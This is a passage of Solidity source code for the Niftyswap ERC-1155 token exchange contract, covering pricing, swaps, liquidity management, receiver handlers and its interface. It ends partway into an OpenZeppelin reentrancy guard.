function getBuyPrice(
uint256 _assetBoughtAmount,
uint256 _assetSoldReserve,
uint256 _assetBoughtReserve)
override public pure returns (uint256 price)
{
// Reserves must not be empty
require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NiftyswapExchange#getBuyPrice: EMPTY_RESERVE");
// Calculate price with fee
uint256 numerator = _assetSoldReserve.mul(_assetBoughtAmount).mul(1000);
uint256 denominator = (_assetBoughtReserve.sub(_assetBoughtAmount)).mul(FEE_MULTIPLIER);
(price, ) = divRound(numerator, denominator);
return price; // Will add 1 if rounding error
}
/**
* @notice Convert Tokens _id to currency tokens and transfers Tokens to recipient.
* @dev User specifies EXACT Tokens _id sold and MINIMUM currency tokens received.
* @dev Assumes that all trades will be valid, or the whole tx will fail
* @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors)
* @param _tokenIds Array of Token IDs that are sold
* @param _tokensSoldAmounts Array of Amount of Tokens sold for each id in _tokenIds.
* @param _minCurrency Minimum amount of currency tokens to receive
* @param _deadline Timestamp after which this transaction will be reverted
* @param _recipient The address that receives output currency tokens.
* @return currencyBought How much currency was actually purchased.
*/
function _tokenToCurrency(
uint256[] memory _tokenIds,
uint256[] memory _tokensSoldAmounts,
uint256 _minCurrency,
uint256 _deadline,
address _recipient)
internal nonReentrant() returns (uint256[] memory currencyBought)
{
// Number of Token IDs to deposit
uint256 nTokens = _tokenIds.length;
// Input validation
require(_deadline >= block.timestamp, "NiftyswapExchange#_tokenToCurrency: DEADLINE_EXCEEDED");
// Initialize variables
uint256 totalCurrency = 0; // Total amount of currency tokens to transfer
currencyBought = new uint256[](nTokens);
uint256[] memory tokenReserves = new uint256[](nTokens);
// Get token reserves
tokenReserves = _getTokenReserves(_tokenIds);
// Assumes the Tokens ids are already received by contract, but not
// the Tokens Ids. Will return cards not sold if invalid price.
// Remove liquidity for each Token ID in _tokenIds
for (uint256 i = 0; i < nTokens; i++) {
// Store current id and amount from argument arrays
uint256 idSold = _tokenIds[i];
uint256 amountSold = _tokensSoldAmounts[i];
uint256 tokenReserve = tokenReserves[i];
// If 0 tokens send for this ID, revert
require(amountSold > 0, "NiftyswapExchange#_tokenToCurrency: NULL_TOKENS_SOLD");
// Load currency token and Token _id reserves
uint256 currencyReserve = currencyReserves[idSold];
// Get amount of currency that will be received
// Need to sub amountSold because tokens already added in reserve, which would bias the calculation
// Don't need to add it for currencyReserve because the amount is added after this calculation
uint256 currencyAmount = getSellPrice(amountSold, tokenReserve.sub(amountSold), currencyReserve);
// Increase cost of transaction
totalCurrency = totalCurrency.add(currencyAmount);
// Update individual currency reseve amount
currencyReserves[idSold] = currencyReserve.sub(currencyAmount);
// Append Token id, Token id amount and currency token amount to tracking arrays
currencyBought[i] = currencyAmount;
}
// If minCurrency is not met
require(totalCurrency >= _minCurrency, "NiftyswapExchange#_tokenToCurrency: INSUFFICIENT_CURRENCY_AMOUNT");
// Transfer currency here
currency.safeTransferFrom(address(this), _recipient, currencyID, totalCurrency, "");
return currencyBought;
}
/**
* @dev Pricing function used for converting Tokens to currency token.
* @param _assetSoldAmount Amount of Tokens being sold.
* @param _assetSoldReserve Amount of Tokens in exchange reserves.
* @param _assetBoughtReserve Amount of currency tokens in exchange reserves.
* @return price Amount of currency tokens to receive from Niftyswap.
*/
function getSellPrice(
uint256 _assetSoldAmount,
uint256 _assetSoldReserve,
uint256 _assetBoughtReserve)
override public pure returns (uint256 price)
{
//Reserves must not be empty
require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NiftyswapExchange#getSellPrice: EMPTY_RESERVE");
// Calculate amount to receive (with fee)
uint256 _assetSoldAmount_withFee = _assetSoldAmount.mul(FEE_MULTIPLIER);
uint256 numerator = _assetSoldAmount_withFee.mul(_assetBoughtReserve);
uint256 denominator = _assetSoldReserve.mul(1000).add(_assetSoldAmount_withFee);
return numerator / denominator; //Rounding errors will favor Niftyswap, so nothing to do
}
/***********************************|
| Liquidity Functions |
|__________________________________*/
/**
* @notice Deposit less than max currency tokens && exact Tokens (token ID) at current ratio to mint liquidity pool tokens.
* @dev min_liquidity does nothing when total liquidity pool token supply is 0.
* @dev Assumes that sender approved this contract on the currency
* @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors)
* @param _provider Address that provides liquidity to the reserve
* @param _tokenIds Array of Token IDs where liquidity is added
* @param _tokenAmounts Array of amount of Tokens deposited corresponding to each ID provided in _tokenIds
* @param _maxCurrency Array of maximum number of tokens deposited for each ID provided in _tokenIds.
* Deposits max amount if total liquidity pool token supply is 0.
* @param _deadline Timestamp after which this transaction will be reverted
*/
function _addLiquidity(
address _provider,
uint256[] memory _tokenIds,
uint256[] memory _tokenAmounts,
uint256[] memory _maxCurrency,
uint256 _deadline)
internal nonReentrant()
{
// Requirements
require(_deadline >= block.timestamp, "NiftyswapExchange#_addLiquidity: DEADLINE_EXCEEDED");
// Initialize variables
uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit
uint256 totalCurrency = 0; // Total amount of currency tokens to transfer
// Initialize arrays
uint256[] memory liquiditiesToMint = new uint256[](nTokens);
uint256[] memory currencyAmounts = new uint256[](nTokens);
uint256[] memory tokenReserves = new uint256[](nTokens);
// Get token reserves
tokenReserves = _getTokenReserves(_tokenIds);
// Assumes tokens _ids are deposited already, but not currency tokens
// as this is calculated and executed below.
// Loop over all Token IDs to deposit
for (uint256 i = 0; i < nTokens; i ++) {
// Store current id and amount from argument arrays
uint256 tokenId = _tokenIds[i];
uint256 amount = _tokenAmounts[i];
// Check if input values are acceptable
require(_maxCurrency[i] > 0, "NiftyswapExchange#_addLiquidity: NULL_MAX_CURRENCY");
require(amount > 0, "NiftyswapExchange#_addLiquidity: NULL_TOKENS_AMOUNT");
// If the token contract and currency contract are the same, prevent the creation
// of a currency pool.
if (currencyPoolBanned) {
require(tokenId != currencyID, "NiftyswapExchange#_addLiquidity: CURRENCY_POOL_FORBIDDEN");
}
// Current total liquidity calculated in currency token
uint256 totalLiquidity = totalSupplies[tokenId];
// When reserve for this token already exists
if (totalLiquidity > 0) {
// Load currency token and Token reserve's supply of Token id
uint256 currencyReserve = currencyReserves[tokenId]; // Amount not yet in reserve
uint256 tokenReserve = tokenReserves[i];
/**
* Amount of currency tokens to send to token id reserve:
* X/Y = dx/dy
* dx = X*dy/Y
* where
* X: currency total liquidity
* Y: Token _id total liquidity (before tokens were received)
* dy: Amount of token _id deposited
* dx: Amount of currency to deposit
*
* Adding .add(1) if rounding errors so to not favor users incorrectly
*/
(uint256 currencyAmount, bool rounded) = divRound(amount.mul(currencyReserve), tokenReserve.sub(amount));
require(_maxCurrency[i] >= currencyAmount, "NiftyswapExchange#_addLiquidity: MAX_CURRENCY_AMOUNT_EXCEEDED");
// Update currency reserve size for Token id before transfer
currencyReserves[tokenId] = currencyReserve.add(currencyAmount);
// Update totalCurrency
totalCurrency = totalCurrency.add(currencyAmount);
// Proportion of the liquidity pool to give to current liquidity provider
// If rounding error occured, round down to favor previous liquidity providers
// See https://github.com/0xsequence/niftyswap/issues/19
liquiditiesToMint[i] = (currencyAmount.sub(rounded ? 1 : 0)).mul(totalLiquidity) / currencyReserve;
currencyAmounts[i] = currencyAmount;
// Mint liquidity ownership tokens and increase liquidity supply accordingly
totalSupplies[tokenId] = totalLiquidity.add(liquiditiesToMint[i]);
} else {
uint256 maxCurrency = _maxCurrency[i];
// Otherwise rounding error could end up being significant on second deposit
require(maxCurrency >= 1000000000, "NiftyswapExchange#_addLiquidity: INVALID_CURRENCY_AMOUNT");
// Update currency reserve size for Token id before transfer
currencyReserves[tokenId] = maxCurrency;
// Update totalCurrency
totalCurrency = totalCurrency.add(maxCurrency);
// Initial liquidity is amount deposited (Incorrect pricing will be arbitraged)
// uint256 initialLiquidity = _maxCurrency;
totalSupplies[tokenId] = maxCurrency;
// Liquidity to mints
liquiditiesToMint[i] = maxCurrency;
currencyAmounts[i] = maxCurrency;
}
}
// Mint liquidity pool tokens
_batchMint(_provider, _tokenIds, liquiditiesToMint, "");
// Transfer all currency to this contract
currency.safeTransferFrom(_provider, address(this), currencyID, totalCurrency, abi.encode(DEPOSIT_SIG));
// Emit event
emit LiquidityAdded(_provider, _tokenIds, _tokenAmounts, currencyAmounts);
}
/**
* @dev Convert pool participation into amounts of token and currency.
* @dev Rounding error of the asset with lower resolution is traded for the other asset.
* @param _amountPool Participation to be converted to tokens and currency.
* @param _tokenReserve Amount of tokens on the AMM reserve.
* @param _currencyReserve Amount of currency on the AMM reserve.
* @param _totalLiquidity Total liquidity on the pool.
*
* @return currencyAmount Currency corresponding to pool amount plus rounded tokens.
* @return tokenAmount Token corresponding to pool amount plus rounded currency.
*/
function _toRoundedLiquidity(
uint256 _amountPool,
uint256 _tokenReserve,
uint256 _currencyReserve,
uint256 _totalLiquidity
) internal pure returns (
uint256 currencyAmount,
uint256 tokenAmount,
uint256 soldTokenNumerator,
uint256 boughtCurrencyNumerator
) {
uint256 currencyNumerator = _amountPool.mul(_currencyReserve);
uint256 tokenNumerator = _amountPool.mul(_tokenReserve);
// Convert all tokenProduct rest to currency
soldTokenNumerator = tokenNumerator % _totalLiquidity;
if (soldTokenNumerator != 0) {
// The trade happens "after" funds are out of the pool
// so we need to remove these funds before computing the rate
uint256 virtualTokenReserve = _tokenReserve.sub(tokenNumerator / _totalLiquidity).mul(_totalLiquidity);
uint256 virtualCurrencyReserve = _currencyReserve.sub(currencyNumerator / _totalLiquidity).mul(_totalLiquidity);
// Skip process if any of the two reserves is left empty
// this step is important to avoid an error withdrawing all left liquidity
if (virtualCurrencyReserve != 0 && virtualTokenReserve != 0) {
boughtCurrencyNumerator = getSellPrice(soldTokenNumerator, virtualTokenReserve, virtualCurrencyReserve);
currencyNumerator = currencyNumerator.add(boughtCurrencyNumerator);
}
}
// Calculate amounts
currencyAmount = currencyNumerator / _totalLiquidity;
tokenAmount = tokenNumerator / _totalLiquidity;
}
/**
* @dev Burn liquidity pool tokens to withdraw currency && Tokens at current ratio.
* @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors)
* @param _provider Address that removes liquidity to the reserve
* @param _tokenIds Array of Token IDs where liquidity is removed
* @param _poolTokenAmounts Array of Amount of liquidity pool tokens burned for each Token id in _tokenIds.
* @param _minCurrency Minimum currency withdrawn for each Token id in _tokenIds.
* @param _minTokens Minimum Tokens id withdrawn for each Token id in _tokenIds.
* @param _deadline Timestamp after which this transaction will be reverted
*/
function _removeLiquidity(
address _provider,
uint256[] memory _tokenIds,
uint256[] memory _poolTokenAmounts,
uint256[] memory _minCurrency,
uint256[] memory _minTokens,
uint256 _deadline)
internal nonReentrant()
{
// Input validation
require(_deadline > block.timestamp, "NiftyswapExchange#_removeLiquidity: DEADLINE_EXCEEDED");
// Initialize variables
uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit
uint256 totalCurrency = 0; // Total amount of currency to transfer
uint256[] memory tokenAmounts = new uint256[](nTokens); // Amount of Tokens to transfer for each id
// Structs contain most information for the event
// notice: tokenAmounts and tokenIds are absent because we already
// either have those arrays constructed or we need to construct them for other reasons
LiquidityRemovedEventObj[] memory eventObjs = new LiquidityRemovedEventObj[](nTokens);
// Get token reserves
uint256[] memory tokenReserves = _getTokenReserves(_tokenIds);
// Assumes NIFTY liquidity tokens are already received by contract, but not
// the currency nor the Tokens Ids
// Remove liquidity for each Token ID in _tokenIds
for (uint256 i = 0; i < nTokens; i++) {
// Store current id and amount from argument arrays
uint256 id = _tokenIds[i];
uint256 amountPool = _poolTokenAmounts[i];
// Load total liquidity pool token supply for Token _id
uint256 totalLiquidity = totalSupplies[id];
require(totalLiquidity > 0, "NiftyswapExchange#_removeLiquidity: NULL_TOTAL_LIQUIDITY");
// Load currency and Token reserve's supply of Token id
uint256 currencyReserve = currencyReserves[id];
// Calculate amount to withdraw for currency and Token _id
uint256 currencyAmount;
uint256 tokenAmount;
{
uint256 tokenReserve = tokenReserves[i];
uint256 soldTokenNumerator;
uint256 boughtCurrencyNumerator;
(
currencyAmount,
tokenAmount,
soldTokenNumerator,
boughtCurrencyNumerator
) = _toRoundedLiquidity(amountPool, tokenReserve, currencyReserve, totalLiquidity);
// Add trade info to event
eventObjs[i].soldTokenNumerator = soldTokenNumerator;
eventObjs[i].boughtCurrencyNumerator = boughtCurrencyNumerator;
eventObjs[i].totalSupply = totalLiquidity;
}
// Verify if amounts to withdraw respect minimums specified
require(currencyAmount >= _minCurrency[i], "NiftyswapExchange#_removeLiquidity: INSUFFICIENT_CURRENCY_AMOUNT");
require(tokenAmount >= _minTokens[i], "NiftyswapExchange#_removeLiquidity: INSUFFICIENT_TOKENS");
// Update total liquidity pool token supply of Token _id
totalSupplies[id] = totalLiquidity.sub(amountPool);
// Update currency reserve size for Token id
currencyReserves[id] = currencyReserve.sub(currencyAmount);
// Update totalCurrency and tokenAmounts
totalCurrency = totalCurrency.add(currencyAmount);
tokenAmounts[i] = tokenAmount;
eventObjs[i].currencyAmount = currencyAmount;
}
// Burn liquidity pool tokens for offchain supplies
_batchBurn(address(this), _tokenIds, _poolTokenAmounts);
// Transfer total currency and all Tokens ids
currency.safeTransferFrom(address(this), _provider, currencyID, totalCurrency, "");
token.safeBatchTransferFrom(address(this), _provider, _tokenIds, tokenAmounts, "");
// Emit event
emit LiquidityRemoved(_provider, _tokenIds, tokenAmounts, eventObjs);
}
/***********************************|
| Receiver Methods Handler |
|__________________________________*/
// Method signatures for onReceive control logic
// bytes4(keccak256(
// "_currencyToToken(uint256[],uint256[],uint256,uint256,address)"
// ));
bytes4 internal constant BUYTOKENS_SIG = 0xb2d81047;
// bytes4(keccak256(
// "_tokenToCurrency(uint256[],uint256[],uint256,uint256,address)"
// ));
bytes4 internal constant SELLTOKENS_SIG = 0xdb08ec97;
// bytes4(keccak256(
// "_addLiquidity(address,uint256[],uint256[],uint256[],uint256)"
// ));
bytes4 internal constant ADDLIQUIDITY_SIG = 0x82da2b73;
// bytes4(keccak256(
// "_removeLiquidity(address,uint256[],uint256[],uint256[],uint256[],uint256)"
// ));
bytes4 internal constant REMOVELIQUIDITY_SIG = 0x5c0bf259;
// bytes4(keccak256(
// "DepositTokens()"
// ));
bytes4 internal constant DEPOSIT_SIG = 0xc8c323f9;
/**
* @notice Handle which method is being called on transfer
* @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj)
* where bytes4 argument is the MethodObj object signature passed as defined
* in the `Signatures for onReceive control logic` section above
* @param _from The address which previously owned the Token
* @param _ids An array containing ids of each Token being transferred
* @param _amounts An array containing amounts of each Token being transferred
* @param _data Method signature and corresponding encoded arguments for method to call on *this* contract
* @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")
*/
function onERC1155BatchReceived(
address, // _operator,
address _from,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data)
override public returns(bytes4)
{
// This function assumes that the ERC-1155 token contract can
// only call `onERC1155BatchReceived()` via a valid token transfer.
// Users must be responsible and only use this Niftyswap exchange
// contract with ERC-1155 compliant token contracts.
// Obtain method to call via object signature
bytes4 functionSignature = abi.decode(_data, (bytes4));
/***********************************|
| Buying Tokens |
|__________________________________*/
if (functionSignature == BUYTOKENS_SIG) {
// Tokens received need to be currency contract
require(msg.sender == address(currency), "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_TRANSFERRED");
require(_ids.length == 1, "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_IDS_AMOUNT");
require(_ids[0] == currencyID, "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_ID");
// Decode BuyTokensObj from _data to call _currencyToToken()
BuyTokensObj memory obj;
(, obj) = abi.decode(_data, (bytes4, BuyTokensObj));
address recipient = obj.recipient == address(0x0) ? _from : obj.recipient;
// Execute trade and retrieve amount of currency spent
uint256[] memory currencySold = _currencyToToken(obj.tokensBoughtIDs, obj.tokensBoughtAmounts, _amounts[0], obj.deadline, recipient);
emit TokensPurchase(_from, recipient, obj.tokensBoughtIDs, obj.tokensBoughtAmounts, currencySold);
/***********************************|
| Selling Tokens |
|__________________________________*/
} else if (functionSignature == SELLTOKENS_SIG) {
// Tokens received need to be Token contract
require(msg.sender == address(token), "NiftyswapExchange#onERC1155BatchReceived: INVALID_TOKENS_TRANSFERRED");
// Decode SellTokensObj from _data to call _tokenToCurrency()
SellTokensObj memory obj;
(, obj) = abi.decode(_data, (bytes4, SellTokensObj));
address recipient = obj.recipient == address(0x0) ? _from : obj.recipient;
// Execute trade and retrieve amount of currency received
uint256[] memory currencyBought = _tokenToCurrency(_ids, _amounts, obj.minCurrency, obj.deadline, recipient);
emit CurrencyPurchase(_from, recipient, _ids, _amounts, currencyBought);
/***********************************|
| Adding Liquidity Tokens |
|__________________________________*/
} else if (functionSignature == ADDLIQUIDITY_SIG) {
// Only allow to receive ERC-1155 tokens from `token` contract
require(msg.sender == address(token), "NiftyswapExchange#onERC1155BatchReceived: INVALID_TOKEN_TRANSFERRED");
// Decode AddLiquidityObj from _data to call _addLiquidity()
AddLiquidityObj memory obj;
(, obj) = abi.decode(_data, (bytes4, AddLiquidityObj));
_addLiquidity(_from, _ids, _amounts, obj.maxCurrency, obj.deadline);
/***********************************|
| Removing iquidity Tokens |
|__________________________________*/
} else if (functionSignature == REMOVELIQUIDITY_SIG) {
// Tokens received need to be NIFTY-1155 tokens
require(msg.sender == address(this), "NiftyswapExchange#onERC1155BatchReceived: INVALID_NIFTY_TOKENS_TRANSFERRED");
// Decode RemoveLiquidityObj from _data to call _removeLiquidity()
RemoveLiquidityObj memory obj;
(, obj) = abi.decode(_data, (bytes4, RemoveLiquidityObj));
_removeLiquidity(_from, _ids, _amounts, obj.minCurrency, obj.minTokens, obj.deadline);
/***********************************|
| Deposits & Invalid Calls |
|__________________________________*/
} else if (functionSignature == DEPOSIT_SIG) {
// Do nothing for when contract is self depositing
// This could be use to deposit currency "by accident", which would be locked
require(msg.sender == address(currency), "NiftyswapExchange#onERC1155BatchReceived: INVALID_TOKENS_DEPOSITED");
require(_ids[0] == currencyID, "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_ID");
} else {
revert("NiftyswapExchange#onERC1155BatchReceived: INVALID_METHOD");
}
return ERC1155_BATCH_RECEIVED_VALUE;
}
/**
* @dev Will pass to onERC115Batch5Received
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes memory _data)
override public returns(bytes4)
{
uint256[] memory ids = new uint256[](1);
uint256[] memory amounts = new uint256[](1);
ids[0] = _id;
amounts[0] = _amount;
require(
ERC1155_BATCH_RECEIVED_VALUE == onERC1155BatchReceived(_operator, _from, ids, amounts, _data),
"NiftyswapExchange#onERC1155Received: INVALID_ONRECEIVED_MESSAGE"
);
return ERC1155_RECEIVED_VALUE;
}
/**
* @notice Prevents receiving Ether or calls to unsuported methods
*/
fallback () external {
revert("NiftyswapExchange:UNSUPPORTED_METHOD");
}
/***********************************|
| Getter Functions |
|__________________________________*/
/**
* @notice Get amount of currency in reserve for each Token _id in _ids
* @param _ids Array of ID sto query currency reserve of
* @return amount of currency in reserve for each Token _id
*/
function getCurrencyReserves(
uint256[] calldata _ids)
override external view returns (uint256[] memory)
{
uint256 nIds = _ids.length;
uint256[] memory currencyReservesReturn = new uint256[](nIds);
for (uint256 i = 0; i < nIds; i++) {
currencyReservesReturn[i] = currencyReserves[_ids[i]];
}
return currencyReservesReturn;
}
/**
* @notice Return price for `currency => Token _id` trades with an exact token amount.
* @param _ids Array of ID of tokens bought.
* @param _tokensBought Amount of Tokens bought.
* @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought
*/
function getPrice_currencyToToken(
uint256[] calldata _ids,
uint256[] calldata _tokensBought)
override external view returns (uint256[] memory)
{
uint256 nIds = _ids.length;
uint256[] memory prices = new uint256[](nIds);
for (uint256 i = 0; i < nIds; i++) {
// Load Token id reserve
uint256 tokenReserve = token.balanceOf(address(this), _ids[i]);
prices[i] = getBuyPrice(_tokensBought[i], currencyReserves[_ids[i]], tokenReserve);
}
// Return prices
return prices;
}
/**
* @notice Return price for `Token _id => currency` trades with an exact token amount.
* @param _ids Array of IDs token sold.
* @param _tokensSold Array of amount of each Token sold.
* @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold
*/
function getPrice_tokenToCurrency(
uint256[] calldata _ids,
uint256[] calldata _tokensSold)
override external view returns (uint256[] memory)
{
uint256 nIds = _ids.length;
uint256[] memory prices = new uint256[](nIds);
for (uint256 i = 0; i < nIds; i++) {
// Load Token id reserve
uint256 tokenReserve = token.balanceOf(address(this), _ids[i]);
prices[i] = getSellPrice(_tokensSold[i], tokenReserve, currencyReserves[_ids[i]]);
}
// Return price
return prices;
}
/**
* @return Address of Token that is sold on this exchange.
*/
function getTokenAddress() override external view returns (address) {
return address(token);
}
/**
* @return Address of the currency contract that is used as currency and its corresponding id
*/
function getCurrencyInfo() override external view returns (address, uint256) {
return (address(currency), currencyID);
}
/**
* @notice Get total supply of liquidity tokens
* @param _ids ID of the Tokens
* @return The total supply of each liquidity token id provided in _ids
*/
function getTotalSupply(uint256[] calldata _ids)
override external view returns (uint256[] memory)
{
// Number of ids
uint256 nIds = _ids.length;
// Variables
uint256[] memory batchTotalSupplies = new uint256[](nIds);
// Iterate over each owner and token ID
for (uint256 i = 0; i < nIds; i++) {
batchTotalSupplies[i] = totalSupplies[_ids[i]];
}
return batchTotalSupplies;
}
/**
* @return Address of factory that created this exchange.
*/
function getFactoryAddress() override external view returns (address) {
return factory;
}
/***********************************|
| Utility Functions |
|__________________________________*/
/**
* @notice Divides two numbers and add 1 if there is a rounding error
* @param a Numerator
* @param b Denominator
*/
function divRound(uint256 a, uint256 b) internal pure returns (uint256, bool) {
return a % b == 0 ? (a/b, false) : ((a/b).add(1), true);
}
/**
* @notice Return Token reserves for given Token ids
* @dev Assumes that ids are sorted from lowest to highest with no duplicates.
* This assumption allows for checking the token reserves only once, otherwise
* token reserves need to be re-checked individually or would have to do more expensive
* duplication checks.
* @param _tokenIds Array of IDs to query their Reserve balance.
* @return Array of Token ids' reserves
*/
function _getTokenReserves(
uint256[] memory _tokenIds)
internal view returns (uint256[] memory)
{
uint256 nTokens = _tokenIds.length;
// Regular balance query if only 1 token, otherwise batch query
if (nTokens == 1) {
uint256[] memory tokenReserves = new uint256[](1);
tokenReserves[0] = token.balanceOf(address(this), _tokenIds[0]);
return tokenReserves;
} else {
// Lazy check preventing duplicates & build address array for query
address[] memory thisAddressArray = new address[](nTokens);
thisAddressArray[0] = address(this);
for (uint256 i = 1; i < nTokens; i++) {
require(_tokenIds[i-1] < _tokenIds[i], "NiftyswapExchange#_getTokenReserves: UNSORTED_OR_DUPLICATE_TOKEN_IDS");
thisAddressArray[i] = address(this);
}
return token.balanceOfBatch(thisAddressArray, _tokenIds);
}
}
/**
* @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types.
* @param interfaceID The ERC-165 interface ID that is queried for support.s
* @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface.
* This function MUST NOT consume more thsan 5,000 gas.
* @return Whether a given interface is supported
*/
function supportsInterface(bytes4 interfaceID) public override pure returns (bool) {
return interfaceID == type(IERC165).interfaceId ||
interfaceID == type(IERC1155).interfaceId ||
interfaceID == type(IERC1155TokenReceiver).interfaceId;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
interface INiftyswapExchange {
/***********************************|
| Events |
|__________________________________*/
event TokensPurchase(
address indexed buyer,
address indexed recipient,
uint256[] tokensBoughtIds,
uint256[] tokensBoughtAmounts,
uint256[] currencySoldAmounts
);
event CurrencyPurchase(
address indexed buyer,
address indexed recipient,
uint256[] tokensSoldIds,
uint256[] tokensSoldAmounts,
uint256[] currencyBoughtAmounts
);
event LiquidityAdded(
address indexed provider,
uint256[] tokenIds,
uint256[] tokenAmounts,
uint256[] currencyAmounts
);
struct LiquidityRemovedEventObj {
uint256 currencyAmount;
uint256 soldTokenNumerator;
uint256 boughtCurrencyNumerator;
uint256 totalSupply;
}
event LiquidityRemoved(
address indexed provider,
uint256[] tokenIds,
uint256[] tokenAmounts,
LiquidityRemovedEventObj[] details
);
// OnReceive Objects
struct BuyTokensObj {
address recipient; // Who receives the tokens
uint256[] tokensBoughtIDs; // Token IDs to buy
uint256[] tokensBoughtAmounts; // Amount of token to buy for each ID
uint256 deadline; // Timestamp after which the tx isn't valid anymore
}
struct SellTokensObj {
address recipient; // Who receives the currency
uint256 minCurrency; // Total minimum number of currency expected for all tokens sold
uint256 deadline; // Timestamp after which the tx isn't valid anymore
}
struct AddLiquidityObj {
uint256[] maxCurrency; // Maximum number of currency to deposit with tokens
uint256 deadline; // Timestamp after which the tx isn't valid anymore
}
struct RemoveLiquidityObj {
uint256[] minCurrency; // Minimum number of currency to withdraw
uint256[] minTokens; // Minimum number of tokens to withdraw
uint256 deadline; // Timestamp after which the tx isn't valid anymore
}
/***********************************|
| OnReceive Functions |
|__________________________________*/
/**
* @notice Handle which method is being called on Token transfer
* @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj)
* where bytes4 argument is the MethodObj object signature passed as defined
* in the `Signatures for onReceive control logic` section above
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Method signature and corresponding encoded arguments for method to call on *this* contract
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4);
/**
* @notice Handle which method is being called on transfer
* @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj)
* where bytes4 argument is the MethodObj object signature passed as defined
* in the `Signatures for onReceive control logic` section above
* @param _from The address which previously owned the Token
* @param _ids An array containing ids of each Token being transferred
* @param _amounts An array containing amounts of each Token being transferred
* @param _data Method signature and corresponding encoded arguments for method to call on *this* contract
* @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")
*/
function onERC1155BatchReceived(address, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4);
/***********************************|
| Getter Functions |
|__________________________________*/
/**
* @dev Pricing function used for converting between currency token to Tokens.
* @param _assetBoughtAmount Amount of Tokens being bought.
* @param _assetSoldReserve Amount of currency tokens in exchange reserves.
* @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves.
* @return Amount of currency tokens to send to Niftyswap.
*/
function getBuyPrice(uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external pure returns (uint256);
/**
* @dev Pricing function used for converting Tokens to currency token.
* @param _assetSoldAmount Amount of Tokens being sold.
* @param _assetSoldReserve Amount of Tokens in exchange reserves.
* @param _assetBoughtReserve Amount of currency tokens in exchange reserves.
* @return Amount of currency tokens to receive from Niftyswap.
*/
function getSellPrice(uint256 _assetSoldAmount,uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external pure returns (uint256);
/**
* @notice Get amount of currency in reserve for each Token _id in _ids
* @param _ids Array of ID sto query currency reserve of
* @return amount of currency in reserve for each Token _id
*/
function getCurrencyReserves(uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @notice Return price for `currency => Token _id` trades with an exact token amount.
* @param _ids Array of ID of tokens bought.
* @param _tokensBought Amount of Tokens bought.
* @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought
*/
function getPrice_currencyToToken(uint256[] calldata _ids, uint256[] calldata _tokensBought) external view returns (uint256[] memory);
/**
* @notice Return price for `Token _id => currency` trades with an exact token amount.
* @param _ids Array of IDs token sold.
* @param _tokensSold Array of amount of each Token sold.
* @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold
*/
function getPrice_tokenToCurrency(uint256[] calldata _ids, uint256[] calldata _tokensSold) external view returns (uint256[] memory);
/**
* @notice Get total supply of liquidity tokens
* @param _ids ID of the Tokens
* @return The total supply of each liquidity token id provided in _ids
*/
function getTotalSupply(uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @return Address of Token that is sold on this exchange.
*/
function getTokenAddress() external view returns (address);
/**
* @return Address of the currency contract that is used as currency and its corresponding id
*/
function getCurrencyInfo() external view returns (address, uint256);
/**
* @return Address of factory that created this exchange.
*/
function getFactoryAddress() external view returns (address);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity 0.7.4;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
